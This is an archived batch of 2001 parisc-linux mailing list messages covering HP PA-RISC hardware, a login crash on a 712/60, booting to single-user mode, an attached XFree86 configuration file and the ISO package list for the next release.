Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D29C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Jun 2001 10:15:14 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id KAA04210;
	Mon, 25 Jun 2001 10:14:19 -0600
In-Reply-To: Your message of "Sun, 24 Jun 2001 21:35:37 MDT."
             <20010625033537.09C1D37D2C@carmen.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11430

Matt Taggart wrote:
> Having soft-power under linux would be really cool, but I'm not sure what
> state its in currently.

I've already dug up the needed info and handed that to some folks
who already have NDA. So i expect "soft power" switch to work
at some point.  :^)

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Markus Ungermann <m.ungermann@tuxhausen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 712/60: No login, only crashes
Date: Mon, 25 Jun 2001 20:47:53 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <3B378759.CBB5160E@tuxhausen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620242 21422 80.91.229.3 (22 Nov 2014 01:37:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 25 12:47:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.ginko.net (mail.ginko.net [212.202.63.50])
	by dsl2.external.hp.com (Postfix) with SMTP id 8616E482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Jun 2001 12:47:11 -0600 (MDT)
Original-Received: (qmail 12201 invoked by uid 80); 25 Jun 2001 18:47:10 -0000
Original-Received: from hawk.ginko.net (HELO www.ginko.de) (212.202.63.46)
  by mail.ginko.net with SMTP; 25 Jun 2001 18:47:10 -0000
Original-Received: from 212.202.66.204 (212.202.66.204) by www.ginko.de 
	with SMTP; Mon, 25 Jun 2001 20:47:10 +0200 (CEST)
Original-Received: from tuxhausen.de (voyager.tuxhausen.de [192.168.44.20])
	by server.tuxhausen.de (Postfix) with ESMTP id D9B4A172F9
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Jun 2001 20:57:14 +0200 (CEST)
Original-Sender: markus@tuxhausen.de
X-Mailer: Mozilla 4.75 [de] (X11; U; Linux 2.2.17-21mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:11431

Hi,

i get an HP 712/60 last week, it has an installed Debian and this works
good. But the HD is to little, only 520MB (with 128MB Swap).

Then i installed PA-Linux 0.9 on a 3.2GB-HD (Quantum Fireball 3200S ),
but after the first reboot:
- the system starts and 
- the Init-Process works, 
- it enter Runlevel 2
- then instead of a login i get an Crash
I get a Dump list (How can i print/copy this?) and the following line:

Kernel Fault Code 26 regs(differents everytime)


Ok, i use another HD 2.1GB (IBM DFRS ...) but, the same ....

I have Bootmon 1.2, i tries to update it (with a tape) but it didn't
work.

If fsck failed, and i must login as root, i have no Problems, it seens
to be an error with the login-script.

Can someone help me to login ?
Or how can i boot into single mode (there is no lilo ;-))) ?

Is the powersupply strong enough for a second intern HD (then i boot
from the 520MB und use the Quantum as /usr) ?


-- 
cu Markus Ungermann

       Look at my website: http://www.tuxhausen.de
                     !! Ask me for my PGP-Key !
		     
	`Software is like sex; it's best when its free
		 ->> Linus B. Torvalds




From - Thu Nov 08 21:18:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Weilbacher <weilbach@uni-sw.gwdg.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 712/60: No login, only crashes
Date: Mon, 25 Jun 2001 21:46:50 +0200 (CEST)
Lines: 51
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0106252137470.8292-100000@leo.uni-sw.gwdg.de>
References: <3B378759.CBB5160E@tuxhausen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620242 21423 80.91.229.3 (22 Nov 2014 01:37:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:22 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: Markus Ungermann <m.ungermann@tuxhausen.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 25 13:46:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from leo.uni-sw.gwdg.de (leo.uni-sw.gwdg.de [134.76.205.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DF3B482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Jun 2001 13:46:52 -0600 (MDT)
Original-Received: from weilbach (helo=localhost)
	by leo.uni-sw.gwdg.de with local-esmtp (Exim 3.16)
	id 15EcJu-00062L-00; Mon, 25 Jun 2001 21:46:50 +0200
In-Reply-To: <3B378759.CBB5160E@tuxhausen.de>
Xref: news.gmane.org gmane.linux.ports.parisc:11432

Hi Markus!

On Mon, 25 Jun 2001, Markus Ungermann wrote:

> Then i installed PA-Linux 0.9 on a 3.2GB-HD (Quantum Fireball 3200S ),
> but after the first reboot:
> - the system starts and
> - the Init-Process works,
> - it enter Runlevel 2
> - then instead of a login i get an Crash
> I get a Dump list (How can i print/copy this?) and the following line:
>
> Kernel Fault Code 26 regs(differents everytime)

I had the same error when I installed it, I think it is in the known
bugs on the webpage. The developers told me to be patient, those are
bugs in the graphical STI interface.

A perhaps related problem is that if you try to go down further than
the end of the file in vi, it crashes with a similar dump screen.

> Can someone help me to login ?
> Or how can i boot into single mode (there is no lilo ;-))) ?

- Press <escape> before booting.
- search for the boot device:
	search scsi
- start the ipl:
	boot <scsi-dev> ipl
- edit the last parameter and add with a space:
	" init=1" or " init=/bin/sh"
Starting the IPL boot should get you booted. You should then perhaps
edit /etc/inittab before trying further.

Can anyone tell me, which script in /etc/init.d starts the virtual
consoles? It's none from the ones in /etc/rc1.d/...

> Is the powersupply strong enough for a second intern HD (then i boot
> from the 520MB und use the Quantum as /usr) ?

Just try it? There is a special room for a second disk in my
machine, which I cannot use because the other disks I have get too
hot.

Gruesse,
	Peter.






From - Thu Nov 08 21:18:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86, sti bmode/wmode merge
Date: Tue, 26 Jun 2001 01:49:37 +0200
Lines: 28
Approved: news@gmane.org
Message-ID: <20010626014937.B6551@solo.franken.de>
References: <20010617155807.A6530@solo.franken.de> <005d01c0fd8e$c29fcd90$1f96078d@stuwo.fhheilbronn.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620243 21427 80.91.229.3 (22 Nov 2014 01:37:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Yves Bodack <ybodack@stud.fh-heilbronn.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 25 17:49:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD9051D10.dip.t-dialin.net [217.5.29.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id D122C482A
	for <parisc-linux@parisc-linux.org>; Mon, 25 Jun 2001 17:49:46 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id BAA10074;
	Tue, 26 Jun 2001 01:49:37 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <005d01c0fd8e$c29fcd90$1f96078d@stuwo.fhheilbronn.de>; from ybodack@stud.fh-heilbronn.de on Mon, Jun 25, 2001 at 05:51:25PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11433

On Mon, Jun 25, 2001 at 05:51:25PM +0200, Yves Bodack wrote:
> I was just trying to set up an xserver on my 712/60, but i'm not too
> experienced in these things and failed. Could you give me some hints on what
> you have installed and what the tweaking was, you did? Or may be, there is a
> web ressource i havn't found yet.

you need:

xbase-clients
xfont-base
xserver-xfree86
xterm

and a window manager (since fvwm* wasn't avaiable, I took vtwm).

And then I took the XF86Config from my notebook, where I'm alreay running
XFree 4.0.2 (server only so far), put it in place (/etc/X11/XF86Config) and
defined a fbdev device. I've attached my current XF86Config from the 712.
To use this XF86Config you also need a new kernel with PS/2 mouse support.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]




From - Thu Nov 08 21:18:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFree86, sti bmode/wmode merge
Date: Tue, 26 Jun 2001 01:50:25 +0200
Lines: 462
Approved: news@gmane.org
Message-ID: <20010626015025.C6551@solo.franken.de>
References: <20010617155807.A6530@solo.franken.de> <005d01c0fd8e$c29fcd90$1f96078d@stuwo.fhheilbronn.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="Kj7319i9nmIyA2yE"
X-Trace: ger.gmane.org 1416620243 21430 80.91.229.3 (22 Nov 2014 01:37:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Yves Bodack <ybodack@stud.fh-heilbronn.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 25 17:50:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from solo.franken.de (pD9051D10.dip.t-dialin.net [217.5.29.16])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDC0E482A
	for <parisc-linux@parisc-linux.org>; Mon, 25 Jun 2001 17:50:33 -0600 (MDT)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.9.3/8.9.3) id BAA10086;
	Tue, 26 Jun 2001 01:50:25 +0200
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <005d01c0fd8e$c29fcd90$1f96078d@stuwo.fhheilbronn.de>; from ybodack@stud.fh-heilbronn.de on Mon, Jun 25, 2001 at 05:51:25PM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11434

--Kj7319i9nmIyA2yE
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Argl, forgot the attachment once again, sorry.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]

--Kj7319i9nmIyA2yE
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=XF86Config

# File generated by xf86config.

#
# Copyright (c) 1999 by The XFree86 Project, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
# 
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
# 
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL
# THE XFREE86 PROJECT BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF
# OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
# 
# Except as contained in this notice, the name of the XFree86 Project shall
# not be used in advertising or otherwise to promote the sale, use or other
# dealings in this Software without prior written authorization from the
# XFree86 Project.
#

# **********************************************************************
# Refer to the XF86Config(4/5) man page for details about the format of 
# this file.
# **********************************************************************

# **********************************************************************
# Module section -- this  section  is used to specify
# which dynamically loadable modules to load.
# **********************************************************************
#
Section "Module"

# This loads the DBE extension module.

    Load        "dbe"  	# Double buffer extension

# This loads the miscellaneous extensions module, and disables
# initialisation of the XFree86-DGA extension within that module.
    SubSection  "extmod"
      Option    "omit xfree86-dga"   # don't initialise the DGA extension
    EndSubSection

# This loads the Type1 and FreeType font modules
    Load        "type1"
    Load        "freetype"

# This loads the GLX module
#    Load       "glx"

EndSection

# **********************************************************************
# Files section.  This allows default font and rgb paths to be set
# **********************************************************************

Section "Files"

# The location of the RGB database.  Note, this is the name of the
# file minus the extension (like ".txt" or ".db").  There is normally
# no need to change the default.

    RgbPath	"/usr/X11R6/lib/X11/rgb"

# Multiple FontPath entries are allowed (which are concatenated together),
# as well as specifying multiple comma-separated entries in one FontPath
# command (or a combination of both methods)
# 
# If you don't have a floating point coprocessor and emacs, Mosaic or other
# programs take long to start up, try moving the Type1 and Speedo directory
# to the end of this list (or comment them out).
# 

#    FontPath   "/usr/X11R6/lib/X11/fonts/local/"
    FontPath   "/usr/X11R6/lib/X11/fonts/misc/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/:unscaled"
    FontPath   "/usr/X11R6/lib/X11/fonts/Type1/"
    FontPath   "/usr/X11R6/lib/X11/fonts/Speedo/"
    FontPath   "/usr/X11R6/lib/X11/fonts/75dpi/"
    FontPath   "/usr/X11R6/lib/X11/fonts/100dpi/"

# The module search path.  The default path is shown here.

#    ModulePath "/usr/X11R6/lib/modules"

EndSection

# **********************************************************************
# Server flags section.
# **********************************************************************

Section "ServerFlags"

# Uncomment this to cause a core dump at the spot where a signal is 
# received.  This may leave the console in an unusable state, but may
# provide a better stack trace in the core dump to aid in debugging

#    Option "NoTrapSignals"

# Uncomment this to disable the <Crtl><Alt><BS> server abort sequence
# This allows clients to receive this key event.

#    Option "DontZap"

# Uncomment this to disable the <Crtl><Alt><KP_+>/<KP_-> mode switching
# sequences.  This allows clients to receive these key events.

#    Option "Dont Zoom"

# Uncomment this to disable tuning with the xvidtune client. With
# it the client can still run and fetch card and monitor attributes,
# but it will not be allowed to change them. If it tries it will
# receive a protocol error.

#    Option "DisableVidModeExtension"

# Uncomment this to enable the use of a non-local xvidtune client. 

#    Option "AllowNonLocalXvidtune"

# Uncomment this to disable dynamically modifying the input device
# (mouse and keyboard) settings. 

#    Option "DisableModInDev"

# Uncomment this to enable the use of a non-local client to
# change the keyboard or mouse settings (currently only xset).

#    Option "AllowNonLocalModInDev"

EndSection

# **********************************************************************
# Input devices
# **********************************************************************

# **********************************************************************
# Core keyboard's InputDevice section
# **********************************************************************

Section "InputDevice"

    Identifier	"Keyboard1"
    Driver	"Keyboard"
# For most OSs the protocol can be omitted (it defaults to "Standard").
# When using XQUEUE (only for SVR3 and SVR4, but not Solaris),
# uncomment the following line.

#    Option     "Protocol"      "Xqueue"

    Option "AutoRepeat" "500 30"

# Specify which keyboard LEDs can be user-controlled (eg, with xset(1))
#    Option	"Xleds"      "1 2 3"

#    Option "LeftAlt"     "Meta"
#    Option "RightAlt"    "ModeShift"

# To customise the XKB settings to suit your keyboard, modify the
# lines below (which are the defaults).  For example, for a non-U.S.
# keyboard, you will probably want to use:
#    Option "XkbModel"    "pc102"
# If you have a US Microsoft Natural keyboard, you can use:
#    Option "XkbModel"    "microsoft"
#
# Then to change the language, change the Layout setting.
# For example, a german layout can be obtained with:
#    Option "XkbLayout"   "de"
# or:
#    Option "XkbLayout"   "de"
#    Option "XkbVariant"  "nodeadkeys"
#
# If you'd like to switch the positions of your capslock and
# control keys, use:
#    Option "XkbOptions"  "ctrl:swapcaps"

# These are the default XKB settings for XFree86
#    Option "XkbRules"    "xfree86"
#    Option "XkbModel"    "pc101"
#    Option "XkbLayout"   "us"
#    Option "XkbVariant"  ""
#    Option "XkbOptions"  ""

#    Option "XkbDisable"

    Option "XkbRules"	"xfree86"
    Option "XkbModel"	"pc101"
    Option "XkbLayout"	"us"
#    Option "XkbVariant"	"nodeadkeys"

EndSection


# **********************************************************************
# Core Pointer's InputDevice section
# **********************************************************************

Section "InputDevice"

# Identifier and driver

    Identifier	"Mouse1"
    Driver	"mouse"
    Option "Protocol"    "PS/2"
    Option "Device"      "/dev/mouse"

# When using XQUEUE, comment out the above two lines, and uncomment
# the following line.

#    Option "Protocol"	"Xqueue"

# Baudrate and SampleRate are only for some Logitech mice. In
# almost every case these lines should be omitted.

#    Option "BaudRate"	"9600"
#    Option "SampleRate"	"150"

# Emulate3Buttons is an option for 2-button Microsoft mice
# Emulate3Timeout is the timeout in milliseconds (default is 50ms)

    Option "Emulate3Buttons"
    Option "Emulate3Timeout"    "100"

# ChordMiddle is an option for some 3-button Logitech mice

#    Option "ChordMiddle"

EndSection


# **********************************************************************
# Other input device sections 
# this is optional and is required only if you
# are using extended input devices.  This is for example only.  Refer
# to the XF86Config man page for a description of the options.
# **********************************************************************
#
# Section "InputDevice" 
#    Identifier  "Mouse2"
#    Driver      "mouse"
#    Option      "Protocol"      "MouseMan"
#    Option      "Device"        "/dev/mouse2"
# EndSection
#
# Section "InputDevice"
#    Identifier "spaceball"
#    Driver     "magellan"
#    Option     "Device"        "/dev/cua0"
# EndSection
#
# Section "InputDevice"
#    Identifier "spaceball2"
#    Driver     "spaceorb"
#    Option     "Device"        "/dev/cua0"
# EndSection
#
# Section "InputDevice"
#    Identifier "touchscreen0"
#    Driver     "microtouch"
#    Option     "Device"        "/dev/ttyS0"
#    Option     "MinX"          "1412"
#    Option     "MaxX"          "15184"
#    Option     "MinY"          "15372"
#    Option     "MaxY"          "1230"
#    Option     "ScreenNumber"  "0"
#    Option     "ReportingMode" "Scaled"
#    Option     "ButtonNumber"  "1"
#    Option     "SendCoreEvents"
# EndSection
#
# Section "InputDevice"
#    Identifier "touchscreen1"
#    Driver     "elo2300"
#    Option     "Device"        "/dev/ttyS0"
#    Option     "MinX"          "231"
#    Option     "MaxX"          "3868"
#    Option     "MinY"          "3858"
#    Option     "MaxY"          "272"
#    Option     "ScreenNumber"  "0"
#    Option     "ReportingMode" "Scaled"
#    Option     "ButtonThreshold"       "17"
#    Option     "ButtonNumber"  "1"
#    Option     "SendCoreEvents"
# EndSection

# **********************************************************************
# Monitor section
# **********************************************************************

# Any number of monitor sections may be present

Section "Monitor"

    Identifier  "lcd"

# HorizSync is in kHz unless units are specified.
# HorizSync may be a comma separated list of discrete values, or a
# comma separated list of ranges of values.
# NOTE: THE VALUES HERE ARE EXAMPLES ONLY.  REFER TO YOUR MONITOR'S
# USER MANUAL FOR THE CORRECT NUMBERS.

    HorizSync   31.5 - 48.5

#    HorizSync	30-64         # multisync
#    HorizSync	31.5, 35.2    # multiple fixed sync frequencies
#    HorizSync	15-25, 30-50  # multiple ranges of sync frequencies

# VertRefresh is in Hz unless units are specified.
# VertRefresh may be a comma separated list of discrete values, or a
# comma separated list of ranges of values.
# NOTE: THE VALUES HERE ARE EXAMPLES ONLY.  REFER TO YOUR MONITOR'S
# USER MANUAL FOR THE CORRECT NUMBERS.

    VertRefresh 50-100

EndSection


# **********************************************************************
# Graphics device section
# **********************************************************************

# Any number of graphics device sections may be present

# Standard VGA Device:

Section "Device"
    Identifier	"Standard VGA"
    VendorName	"Unknown"
    BoardName	"Unknown"

# The chipset line is optional in most cases.  It can be used to override
# the driver's chipset detection, and should not normally be specified.

#    Chipset	"generic"

# The Driver line must be present.  When using run-time loadable driver
# modules, this line instructs the server to load the specified driver
# module.  Even when not using loadable driver modules, this line
# indicates which driver should interpret the information in this section.

    Driver     "fbdev"
# The BusID line is used to specify which of possibly multiple devices
# this section is intended for.  When this line isn't present, a device
# section can only match up with the primary video device.  For PCI
# devices a line like the following could be used.  This line should not
# normally be included unless there is more than one video device
# intalled.

#    BusID      "PCI:0:10:0"

#    VideoRam	256

#    Clocks	25.2 28.3

EndSection

# Device configured by xf86config:

Section "Device"
    Identifier  "fbdev"
    Driver      "fbdev"
    #VideoRam    8192
    # Insert Clocks lines here if appropriate
EndSection


# **********************************************************************
# Screen sections
# **********************************************************************

# Any number of screen sections may be present.  Each describes
# the configuration of a single screen.  A single specific screen section
# may be specified from the X server command line with the "-screen"
# option.
Section "Screen"
    Identifier  "Screen 1"
    Device      "fbdev"
    Monitor     "lcd"
    DefaultDepth 8

    Subsection "Display"
        Depth       8
        Modes       "640x480" # "800x600" "1024x768" "1280x1024"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       16
        Modes       "640x480" "800x600" "1024x768" "1280x1024"
        ViewPort    0 0
    EndSubsection
    Subsection "Display"
        Depth       24
        Modes       "1024x768"
        ViewPort    0 0
    EndSubsection
EndSection

# **********************************************************************
# ServerLayout sections.
# **********************************************************************

# Any number of ServerLayout sections may be present.  Each describes
# the way multiple screens are organised.  A specific ServerLayout
# section may be specified from the X server command line with the
# "-layout" option.  In the absence of this, the first section is used.
# When now ServerLayout section is present, the first Screen section
# is used alone.

Section "ServerLayout"

# The Identifier line must be present
    Identifier  "Simple Layout"

# Each Screen line specifies a Screen section name, and optionally
# the relative position of other screens.  The four names after
# primary screen name are the screens to the top, bottom, left and right
# of the primary screen.  In this example, screen 2 is located to the
# right of screen 1.

    Screen "Screen 1"

# Each InputDevice line specifies an InputDevice section name and
# optionally some options to specify the way the device is to be
# used.  Those options include "CorePointer", "CoreKeyboard" and
# "SendCoreEvents".

    InputDevice "Mouse1" "CorePointer"
    InputDevice "Keyboard1" "CoreKeyboard"

EndSection


--Kj7319i9nmIyA2yE--




From - Thu Nov 08 21:18:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ISO packages list
Date: Mon, 25 Jun 2001 18:34:53 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20010626003453.11C5137D24@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620243 21432 80.91.229.3 (22 Nov 2014 01:37:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:23 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 25 18:32:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 05615482A
	for <parisc-linux@parisc-linux.org>; Mon, 25 Jun 2001 18:32:06 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id C54FF474
	for <parisc-linux@parisc-linux.org>; Mon, 25 Jun 2001 20:32:04 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 11C5137D24
	for <parisc-linux@parisc-linux.org>; Mon, 25 Jun 2001 18:34:53 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:11435

Hi palinux'ers,

For the 0.9 release I sent the list of packages that would go on the ISO to 
this list for review. As we prepare for the next point release(0.9.1?) I have 
updated it again. I decided to put the list in pehc cvs under 
build-tools/packagelist. Here is what has changed from the 0.9 list

Added
-----
lsof (standard)
mtr-tiny (standard)
vacation (standard)
libgcc1 (new gcc-3.0)
libnss-lwres (new bind)
dpkg-dev
squid
wget
cowsay (fun)
moon-buggy (fun)
xgalaga (fun, X testing)

Removed
-------
netkit-rpc (conflicts with new libc6)


All future changes will be explained in the cvs commit logs(not here).

Thanks,

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tim Burgess <burgesstim@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000 - 822 - a gift?
Date: Mon, 25 Jun 2001 18:30:52 -0700 (PDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <20010626013052.25142.qmail@web11503.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620244 21434 80.91.229.3 (22 Nov 2014 01:37:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 25 19:30:53 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web11503.mail.yahoo.com (web11503.mail.yahoo.com [216.136.172.35])
	by dsl2.external.hp.com (Postfix) with SMTP id 3A503482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Jun 2001 19:30:53 -0600 (MDT)
Original-Received: from [150.101.129.4] by web11503.mail.yahoo.com; Mon, 25 Jun 2001 18:30:52 PDT
Xref: news.gmane.org gmane.linux.ports.parisc:11436

I just was 'gifted' a hp9000 822 with 
2 off 28652-6001
40299B
C2282A STD
The back of the box is checked 'int tape ext dev'


A quick look round suggests this is a silverfox - low.
But I cant seem to id the CPU etc.

Am I going to get linux up on this baby or the install
hpux?

Tim Burgess

=====
Tim Burgess
burgesstim@yahoo.com

__________________________________________________
Do You Yahoo!?
Get personalized email addresses from Yahoo! Mail
http://personal.mail.yahoo.com/




From - Thu Nov 08 21:18:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000 - 822 - a gift?
Date: Mon, 25 Jun 2001 20:21:48 -0700 (PDT)
Lines: 40
Approved: news@gmane.org
Message-ID: <200106260321.UAA03457@opus.allegro.com>
References: <20010626013052.25142.qmail@web11503.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620244 21435 80.91.229.3 (22 Nov 2014 01:37:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:37:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: burgesstim@yahoo.com (Tim Burgess)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun 25 21:21:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D664482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 25 Jun 2001 21:21:49 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.9.3/8.9.3) id UAA03457;
	Mon, 25 Jun 2001 20:21:48 -0700
In-Reply-To: <20010626013052.25142.qmail@web11503.mail.yahoo.com> from "Tim Burgess" at Jun 25, 2001 06:30:52 PM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:11437

Re:

> I just was 'gifted' a hp9000 822 with 

A very old, and very slow, PA-RISC 1.0 (?) HP 9000.
Probably not likely to support boot-from-SCSI.
 
> A quick look round suggests this is a silverfox - low.
> But I cant seem to id the CPU etc.

?
 
> Am I going to get linux up on this baby or the install
> hpux?

Not linux, but HP-UX should work.  I can't recall if 11.00
will run on it, but certainly earlier versions will.

IIRC, it's an interesting box because you can stick a lot
of memory in it ... slots in the front *and* slots in the
rear.  Later systems would accept far less memory (of course,
most later systems had higher density memory boards/SIMMs :)

